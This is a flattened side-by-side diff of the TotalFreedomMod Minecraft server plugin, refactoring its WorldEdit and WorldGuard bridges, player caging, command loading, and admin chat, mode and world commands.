import com.sk89q.worldedit.bukkit.BukkitPlayer; import com.sk89q.worldedit.bukkit.BukkitPlayer;
import com.sk89q.worldedit.bukkit.WorldEditPlugin; import com.sk89q.worldedit.bukkit.WorldEditPlugin;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
import org.bukkit.plugin.Plugin; import org.bukkit.plugin.Plugin;
@ -15,18 +14,13 @@ public class WorldEditBridge extends FreedomService
// //
private WorldEditPlugin worldeditPlugin = null; private WorldEditPlugin worldeditPlugin = null;
public WorldEditBridge(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -66,8 +60,7 @@ public class WorldEditBridge extends FreedomService
{ {
for (int i = 0; i < count; i++) for (int i = 0; i < count; i++)
{ {
com.sk89q.worldedit.entity.Player fuckyou = (com.sk89q.worldedit.entity.Player)bukkitPlayer; session.undo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
session.undo(session.getBlockBag(fuckyou), fuckyou);
} }
} }
} }
@ -90,8 +83,7 @@ public class WorldEditBridge extends FreedomService
{ {
for (int i = 0; i < count; i++) for (int i = 0; i < count; i++)
{ {
com.sk89q.worldedit.entity.Player fuckyou = (com.sk89q.worldedit.entity.Player)bukkitPlayer; session.redo(session.getBlockBag(bukkitPlayer), bukkitPlayer);
session.redo(session.getBlockBag(fuckyou), fuckyou);
} }
} }
} }

View File

@ -7,25 +7,19 @@ import com.sk89q.worldguard.protection.regions.ProtectedRegion;
import com.sk89q.worldguard.protection.regions.RegionContainer; import com.sk89q.worldguard.protection.regions.RegionContainer;
import java.util.Map; import java.util.Map;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import org.bukkit.World; import org.bukkit.World;
import org.bukkit.plugin.Plugin; import org.bukkit.plugin.Plugin;
public class WorldGuardBridge extends FreedomService public class WorldGuardBridge extends FreedomService
{ {
@Override
public WorldGuardBridge(TotalFreedomMod plugin) public void onStart()
{ {
super(plugin); plugin.wr.protectWorld(plugin.wm.masterBuilderWorld.getWorld());
} }
@Override @Override
protected void onStart() public void onStop()
{
}
@Override
protected void onStop()
{ {
} }

View File

@ -2,7 +2,6 @@ package me.totalfreedom.totalfreedommod.caging;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import lombok.Getter;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import org.bukkit.Location; import org.bukkit.Location;
import org.bukkit.Material; import org.bukkit.Material;
@ -12,141 +11,21 @@ import org.bukkit.block.Skull;
public class CageData public class CageData
{ {
private static String input = null;
private final FPlayer fPlayer; private final FPlayer fPlayer;
// //
private final List<BlockData> cageHistory = new ArrayList<>();
// //
@Getter private final List<BlockData> cageHistory = new ArrayList<>();
private boolean caged = false; private boolean caged = false;
@Getter
private Location location; private Location location;
@Getter
private Material outerMaterial = Material.GLASS; private Material outerMaterial = Material.GLASS;
@Getter
private Material innerMaterial = Material.AIR; private Material innerMaterial = Material.AIR;
@Getter
private static String input = null;
public CageData(FPlayer player) public CageData(FPlayer player)
{ {
this.fPlayer = player; this.fPlayer = player;
} }
public void setCaged(boolean cage)
{
if (cage)
{
cage(fPlayer.getPlayer().getLocation(), Material.GLASS, Material.GLASS);
}
else
{
this.caged = false;
regenerateHistory();
clearHistory();
}
}
public void cage(Location location, Material outer, Material inner)
{
if (isCaged())
{
setCaged(false);
}
this.caged = true;
this.location = location;
this.outerMaterial = outer;
this.innerMaterial = inner;
this.input = null;
buildHistory(location, 2, fPlayer);
regenerate();
}
public void cage(Location location, Material outer, Material inner, String input)
{
if (isCaged())
{
setCaged(false);
}
this.caged = true;
this.location = location;
this.outerMaterial = outer;
this.innerMaterial = inner;
this.input = input;
buildHistory(location, 2, fPlayer);
regenerate();
}
public void regenerate()
{
if (!caged
|| location == null
|| outerMaterial == null
|| innerMaterial == null)
{
return;
}
generateHollowCube(location, 2, outerMaterial);
generateCube(location, 1, innerMaterial);
}
// TODO: EventHandlerize this?
public void playerJoin()
{
if (!isCaged())
{
return;
}
cage(fPlayer.getPlayer().getLocation(), outerMaterial, innerMaterial, input);
}
public void playerQuit()
{
regenerateHistory();
clearHistory();
}
public void clearHistory()
{
cageHistory.clear();
}
private void insertHistoryBlock(Location location, Material material)
{
cageHistory.add(new BlockData(location, material));
}
private void regenerateHistory()
{
for (BlockData blockdata : this.cageHistory)
{
blockdata.location.getBlock().setType(blockdata.material);
}
}
private void buildHistory(Location location, int length, FPlayer playerdata)
{
final Block center = location.getBlock();
for (int xOffset = -length; xOffset <= length; xOffset++)
{
for (int yOffset = -length; yOffset <= length; yOffset++)
{
for (int zOffset = -length; zOffset <= length; zOffset++)
{
final Block block = center.getRelative(xOffset, yOffset, zOffset);
insertHistoryBlock(block.getLocation(), block.getType());
}
}
}
}
// Util methods // Util methods
public static void generateCube(Location location, int length, Material material) public static void generateCube(Location location, int length, Material material)
{ {
@ -167,6 +46,7 @@ public class CageData
} }
} }
@SuppressWarnings("deprecation")
public static void generateHollowCube(Location location, int length, Material material) public static void generateHollowCube(Location location, int length, Material material)
{ {
final Block center = location.getBlock(); final Block center = location.getBlock();
@ -213,7 +93,7 @@ public class CageData
skull.setOwner(input); skull.setOwner(input);
skull.update(); skull.update();
} }
catch (ClassCastException e) catch (ClassCastException ignored)
{ {
} }
} }
@ -223,6 +103,176 @@ public class CageData
} }
} }
public static String getInput()
{
return input;
}
public static void setInput(String input)
{
CageData.input = input;
}
public void cage(Location location, Material outer, Material inner)
{
if (isCaged())
{
setCaged(false);
}
this.caged = true;
this.location = location;
this.outerMaterial = outer;
this.innerMaterial = inner;
input = null;
buildHistory(location);
regenerate();
}
public void cage(Location location, Material outer, Material inner, String input)
{
if (isCaged())
{
setCaged(false);
}
this.caged = true;
this.location = location;
this.outerMaterial = outer;
this.innerMaterial = inner;
CageData.input = input;
buildHistory(location);
regenerate();
}
public void regenerate()
{
if (!caged
|| location == null
|| outerMaterial == null
|| innerMaterial == null)
{
return;
}
generateHollowCube(location, 2, outerMaterial);
generateCube(location, 1, innerMaterial);
}
// TODO: EventHandler this?
public void playerJoin()
{
if (!isCaged())
{
return;
}
cage(fPlayer.getPlayer().getLocation(), outerMaterial, innerMaterial, input);
}
public void playerQuit()
{
regenerateHistory();
clearHistory();
}
public void clearHistory()
{
cageHistory.clear();
}
private void insertHistoryBlock(Location location, Material material)
{
cageHistory.add(new BlockData(location, material));
}
private void regenerateHistory()
{
for (BlockData blockdata : this.cageHistory)
{
blockdata.location.getBlock().setType(blockdata.material);
}
}
private void buildHistory(Location location)
{
final Block center = location.getBlock();
for (int xOffset = -2; xOffset <= 2; xOffset++)
{
for (int yOffset = -2; yOffset <= 2; yOffset++)
{
for (int zOffset = -2; zOffset <= 2; zOffset++)
{
final Block block = center.getRelative(xOffset, yOffset, zOffset);
insertHistoryBlock(block.getLocation(), block.getType());
}
}
}
}
public FPlayer getfPlayer()
{
return fPlayer;
}
public List<BlockData> getCageHistory()
{
return cageHistory;
}
public boolean isCaged()
{
return caged;
}
public void setCaged(boolean cage)
{
if (cage)
{
cage(fPlayer.getPlayer().getLocation(), Material.GLASS, Material.GLASS);
}
else
{
this.caged = false;
regenerateHistory();
clearHistory();
}
}
public Location getLocation()
{
return location;
}
public void setLocation(Location location)
{
this.location = location;
}
public Material getOuterMaterial()
{
return outerMaterial;
}
public void setOuterMaterial(Material outerMaterial)
{
this.outerMaterial = outerMaterial;
}
public Material getInnerMaterial()
{
return innerMaterial;
}
public void setInnerMaterial(Material innerMaterial)
{
this.innerMaterial = innerMaterial;
}
private static class BlockData private static class BlockData
{ {

View File

@ -1,7 +1,8 @@
package me.totalfreedom.totalfreedommod.caging; package me.totalfreedom.totalfreedommod.caging;
import io.papermc.lib.PaperLib;
import java.util.Objects;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.player.FPlayer; import me.totalfreedom.totalfreedommod.player.FPlayer;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import org.bukkit.ChatColor; import org.bukkit.ChatColor;
@ -17,19 +18,13 @@ import org.bukkit.event.player.PlayerQuitEvent;
public class Cager extends FreedomService public class Cager extends FreedomService
{ {
public Cager(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -37,8 +32,7 @@ public class Cager extends FreedomService
public void onBreakBlock(BlockBreakEvent event) public void onBreakBlock(BlockBreakEvent event)
{ {
Player player = event.getPlayer(); Player player = event.getPlayer();
if (player == null if (plugin.al.isAdmin(player))
|| plugin.al.isAdmin(player))
{ {
return; return;
} }
@ -67,7 +61,7 @@ public class Cager extends FreedomService
Location cageLoc = cage.getLocation(); Location cageLoc = cage.getLocation();
final boolean outOfCage; final boolean outOfCage;
if (!playerLoc.getWorld().equals(cageLoc.getWorld())) if (!Objects.equals(playerLoc.getWorld(), cageLoc.getWorld()))
{ {
outOfCage = true; outOfCage = true;
} }
@ -78,7 +72,7 @@ public class Cager extends FreedomService
if (outOfCage) if (outOfCage)
{ {
player.getPlayer().teleport(cageLoc.subtract(0, 0.1, 0)); PaperLib.teleportAsync(player.getPlayer(), cageLoc.subtract(0, 0.1, 0));
FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED); FUtil.playerMsg(player.getPlayer(), "You may not leave your cage.", ChatColor.RED);
cage.regenerate(); cage.regenerate();
} }
@ -119,5 +113,4 @@ public class Cager extends FreedomService
cage.playerJoin(); cage.playerJoin();
} }
} }
}
}

View File

@ -1,45 +1,85 @@
package me.totalfreedom.totalfreedommod.command; package me.totalfreedom.totalfreedommod.command;
import lombok.Getter; import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import me.totalfreedom.totalfreedommod.FreedomService; import me.totalfreedom.totalfreedommod.FreedomService;
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import net.pravian.aero.command.handler.SimpleCommandHandler; import org.reflections.Reflections;
import org.bukkit.ChatColor;
public class CommandLoader extends FreedomService public class CommandLoader extends FreedomService
{ {
private final List<FreedomCommand> commands;
@Getter public CommandLoader()
private final SimpleCommandHandler<TotalFreedomMod> handler;
public CommandLoader(TotalFreedomMod plugin)
{ {
super(plugin); commands = new ArrayList<>();
handler = new SimpleCommandHandler<>(plugin);
} }
@Override @Override
protected void onStart() public void onStart()
{ {
handler.clearCommands();
handler.setExecutorFactory(new FreedomCommandExecutor.FreedomExecutorFactory(plugin));
handler.setCommandClassPrefix("Command_");
handler.setPermissionMessage(ChatColor.RED + "You do not have permission to use this command.");
handler.setOnlyConsoleMessage(ChatColor.RED + "This command can only be used from the console.");
handler.setOnlyPlayerMessage(ChatColor.RED + "This command can only be used by players.");
handler.loadFrom(FreedomCommand.class.getPackage());
handler.registerAll(plugin.getDescription().getName(), true);
FLog.info("Loaded " + handler.getExecutors().size() + " commands.");
} }
@Override @Override
protected void onStop() public void onStop()
{ {
handler.clearCommands();
} }
public void add(FreedomCommand command)
{
commands.add(command);
command.register();
}
public FreedomCommand getByName(String name)
{
for (FreedomCommand command : commands)
{
if (name.equals(command.getName()))
{
return command;
}
}
return null;
}
public boolean isAlias(String alias)
{
for (FreedomCommand command : commands)
{
if (Arrays.asList(command.getAliases().split(",")).contains(alias))
{
return true;
}
}
return false;
}
public void loadCommands()
{
Reflections commandDir = new Reflections("me.totalfreedom.totalfreedommod.command");
Set<Class<? extends FreedomCommand>> commandClasses = commandDir.getSubTypesOf(FreedomCommand.class);
for (Class<? extends FreedomCommand> commandClass : commandClasses)
{
try
{
add(commandClass.newInstance());
}
catch (InstantiationException | IllegalAccessException | ExceptionInInitializerError ex)
{
FLog.warning("Failed to register command: /" + commandClass.getSimpleName().replace("Command_", ""));
}
}
FLog.info("Loaded " + commands.size() + " commands");
}
public List<FreedomCommand> getCommands()
{
return commands;
}
} }

View File

@ -8,9 +8,9 @@ import me.totalfreedom.totalfreedommod.rank.Rank;
public @interface CommandPermissions public @interface CommandPermissions
{ {
Rank level(); Rank level() default Rank.NON_OP;
SourceType source(); SourceType source() default SourceType.BOTH;
boolean blockHostConsole() default false; boolean blockHostConsole() default false;

View File

@ -7,11 +7,8 @@ import org.bukkit.command.Command;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH) @CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
@CommandParameters( @CommandParameters(description = "Talk privately with other admins on the server.", usage = "/<command> [message]", aliases = "o,sc,ac,staffchat")
description = "Talk privately with other administrators on the server.",
usage = "/<command> [message...]",
aliases = "o,ac")
public class Command_adminchat extends FreedomCommand public class Command_adminchat extends FreedomCommand
{ {
@ -28,13 +25,12 @@ public class Command_adminchat extends FreedomCommand
FPlayer userinfo = plugin.pl.getPlayer(playerSender); FPlayer userinfo = plugin.pl.getPlayer(playerSender);
userinfo.setAdminChat(!userinfo.inAdminChat()); userinfo.setAdminChat(!userinfo.inAdminChat());
msg("Toggled your admin chat " + (userinfo.inAdminChat() ? "on" : "off") + "."); msg("Admin chat turned " + (userinfo.inAdminChat() ? "on" : "off") + ".");
} }
else else
{ {
plugin.cm.adminChat(sender, StringUtils.join(args, " ")); plugin.cm.adminChat(sender, StringUtils.join(args, " "));
} }
return true; return true;
} }
} }

View File

@ -11,7 +11,7 @@ import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH) @CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
@CommandParameters(description = "Information on how to apply for admin.", usage = "/<command>", aliases = "ai") @CommandParameters(description = "Information on how to apply for admin.", usage = "/<command>", aliases = "si,ai,staffinfo")
public class Command_admininfo extends FreedomCommand public class Command_admininfo extends FreedomCommand
{ {
@ -28,7 +28,6 @@ public class Command_admininfo extends FreedomCommand
{ {
msg(FUtil.colorize(StringUtils.join(adminInfo, "\n"))); msg(FUtil.colorize(StringUtils.join(adminInfo, "\n")));
} }
return true; return true;
} }
} }

View File

@ -10,8 +10,8 @@ import org.bukkit.command.Command;
import org.bukkit.command.CommandSender; import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.TELNET_ADMIN, source = SourceType.BOTH) @CommandPermissions(level = Rank.ADMIN, source = SourceType.BOTH)
@CommandParameters(description = "Denies joining of operators and only allows admins to join.", usage = "/<command> [on | off]") @CommandParameters(description = "Denies joining of operators and only allows admins to join.", usage = "/<command> [on | off]", aliases = "staffmode")
public class Command_adminmode extends FreedomCommand public class Command_adminmode extends FreedomCommand
{ {
@ -26,13 +26,13 @@ public class Command_adminmode extends FreedomCommand
if (args[0].equalsIgnoreCase("off")) if (args[0].equalsIgnoreCase("off"))
{ {
ConfigEntry.ADMIN_ONLY_MODE.setBoolean(false); ConfigEntry.ADMIN_ONLY_MODE.setBoolean(false);
FUtil.adminAction(sender.getName(), "Opening the server to all players.", true); FUtil.adminAction(sender.getName(), "Opening the server to all players", true);
return true; return true;
} }
else if (args[0].equalsIgnoreCase("on")) else if (args[0].equalsIgnoreCase("on"))
{ {
ConfigEntry.ADMIN_ONLY_MODE.setBoolean(true); ConfigEntry.ADMIN_ONLY_MODE.setBoolean(true);
FUtil.adminAction(sender.getName(), "Closing the server to non-admins.", true); FUtil.adminAction(sender.getName(), "Closing the server to non-admins", true);
for (Player player : server.getOnlinePlayers()) for (Player player : server.getOnlinePlayers())
{ {
if (!isAdmin(player)) if (!isAdmin(player))
@ -56,4 +56,4 @@ public class Command_adminmode extends FreedomCommand
return Collections.emptyList(); return Collections.emptyList();
} }
} }

View File

@ -1,11 +1,10 @@
package me.totalfreedom.totalfreedommod.command; package me.totalfreedom.totalfreedommod.command;
import java.util.ArrayList; import io.papermc.lib.PaperLib;
import java.util.Arrays; import java.util.Arrays;
import java.util.Collections; import java.util.Collections;
import java.util.List; import java.util.List;
import me.totalfreedom.totalfreedommod.rank.Rank; import me.totalfreedom.totalfreedommod.rank.Rank;
import me.totalfreedom.totalfreedommod.util.FUtil;
import me.totalfreedom.totalfreedommod.world.WorldTime; import me.totalfreedom.totalfreedommod.world.WorldTime;
import me.totalfreedom.totalfreedommod.world.WorldWeather; import me.totalfreedom.totalfreedommod.world.WorldWeather;
import org.bukkit.World; import org.bukkit.World;
@ -14,17 +13,12 @@ import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player; import org.bukkit.entity.Player;
@CommandPermissions(level = Rank.OP, source = SourceType.BOTH) @CommandPermissions(level = Rank.OP, source = SourceType.BOTH)
@CommandParameters(description = "Allows for admins to configure guests, time, and weather of the AdminWorld, and allows for admins and guests to go to the AdminWorld.", @CommandParameters(description = "Allows for admins to configure time, and weather of the AdminWorld, and allows for admins and ops to go to the AdminWorld.",
usage = "/<command> [guest < list | purge | add <player> | remove <player> > | time <morning | noon | evening | night> | weather <off | rain | storm>]", usage = "/<command> [time <morning | noon | evening | night> | weather <off | rain | storm>]",
aliases = "aw") aliases = "sw,aw,staffworld")
public class Command_adminworld extends FreedomCommand public class Command_adminworld extends FreedomCommand
{ {
private enum CommandMode
{
TELEPORT, GUEST, TIME, WEATHER
}
@Override @Override
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole) public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
{ {
@ -36,11 +30,7 @@ public class Command_adminworld extends FreedomCommand
} }
else if (args.length >= 2) else if (args.length >= 2)
{ {
if ("guest".equalsIgnoreCase(args[0])) if ("time".equalsIgnoreCase(args[0]))
{
commandMode = CommandMode.GUEST;
}
else if ("time".equalsIgnoreCase(args[0]))
{ {
commandMode = CommandMode.TIME; commandMode = CommandMode.TIME;
} }
@ -63,7 +53,7 @@ public class Command_adminworld extends FreedomCommand
{ {
if (!(sender instanceof Player) || playerSender == null) if (!(sender instanceof Player) || playerSender == null)
{ {
return true; return false;
} }
World adminWorld = null; World adminWorld = null;
@ -71,90 +61,20 @@ public class Command_adminworld extends FreedomCommand
{ {
adminWorld = plugin.wm.adminworld.getWorld(); adminWorld = plugin.wm.adminworld.getWorld();
} }
catch (Exception ex) catch (Exception ignored)
{ {
} }
if (adminWorld == null || playerSender.getWorld() == adminWorld) if (adminWorld == null || playerSender.getWorld() == adminWorld)
{ {
msg("Going to the main world."); msg("Going to the main world.");
playerSender.teleport(server.getWorlds().get(0).getSpawnLocation()); PaperLib.teleportAsync(playerSender, server.getWorlds().get(0).getSpawnLocation());
} }
else else
{ {
if (plugin.wm.adminworld.canAccessWorld(playerSender)) msg("Going to the AdminWorld.");
{ plugin.wm.adminworld.sendToWorld(playerSender);
msg("Going to the AdminWorld.");
plugin.wm.adminworld.sendToWorld(playerSender);
}
else
{
msg("You don't have permission to access the AdminWorld.");
}
} }
break;
}
case GUEST:
{
if (args.length == 2)
{
if ("list".equalsIgnoreCase(args[1]))
{
msg("AdminWorld guest list: " + plugin.wm.adminworld.guestListToString());
}
else if ("purge".equalsIgnoreCase(args[1]))
{
assertCommandPerms(sender, playerSender);
plugin.wm.adminworld.purgeGuestList();
FUtil.adminAction(sender.getName(), "AdminWorld guest list purged.", false);
}
else
{
return false;
}
}
else if (args.length == 3)
{
assertCommandPerms(sender, playerSender);
if ("add".equalsIgnoreCase(args[1]))
{
final Player player = getPlayer(args[2]);
if (player == null)
{
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
return true;
}
if (plugin.wm.adminworld.addGuest(player, playerSender))
{
FUtil.adminAction(sender.getName(), "AdminWorld guest added: " + player.getName(), false);
}
else
{
msg("Could not add player to guest list.");
}
}
else if ("remove".equals(args[1]))
{
final Player player = plugin.wm.adminworld.removeGuest(args[2]);
if (player != null)
{
FUtil.adminAction(sender.getName(), "AdminWorld guest removed: " + player.getName(), false);
}
else
{
msg("Can't find guest entry for: " + args[2]);
}
}
else
{
return false;
}
}
break; break;
} }
case TIME: case TIME:
@ -217,7 +137,7 @@ public class Command_adminworld extends FreedomCommand
{ {
return noPerms(); return noPerms();
} }
sender.sendMessage(ex.getMessage()); msg(ex.getMessage());
return true; return true;
} }
@ -233,7 +153,37 @@ public class Command_adminworld extends FreedomCommand
} }
} }
private class PermissionDeniedException extends Exception @Override
public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
{
if (!plugin.al.isAdmin(sender))
{
return Collections.emptyList();
}
if (args.length == 1)
{
return Arrays.asList("time", "weather");
}
else if (args.length == 2)
{
if (args[0].equals("time"))
{
return Arrays.asList("morning", "noon", "evening", "night");
}
else if (args[0].equals("weather"))
{
return Arrays.asList("off", "rain", "storm");
}
}
return Collections.emptyList();
}
private enum CommandMode
{
TELEPORT, TIME, WEATHER
}
private static class PermissionDeniedException extends Exception
{ {
private static final long serialVersionUID = 1L; private static final long serialVersionUID = 1L;
@ -248,48 +198,4 @@ public class Command_adminworld extends FreedomCommand
super(string); super(string);
} }
} }
}
@Override
public List<String> getTabCompleteOptions(CommandSender sender, Command command, String alias, String[] args)
{
if (!plugin.al.isAdmin(sender))
{
return Collections.emptyList();
}
if (args.length == 1)
{
return Arrays.asList("guest", "time", "weather");
}
else if (args.length == 2)
{
if (args[0].equals("guest"))
{
return Arrays.asList("add", "remove", "list", "purge");
}
else if (args[0].equals("time"))
{
return Arrays.asList("morning", "noon", "evening", "night");
}
else if (args[0].equals("weather"))
{
return Arrays.asList("off", "rain", "storm");
}
}
else if (args.length == 3)
{
if (args[0].equals("guest"))
{
if (args[1].equals("add"))
{
return FUtil.getPlayerList();
}
else if (args[1].equals("remove"))
{
return plugin.wm.adminworld.getGuestList();
}
}
}
return Collections.emptyList();
}
}

Some files were not shown because too many files have changed in this diff Show More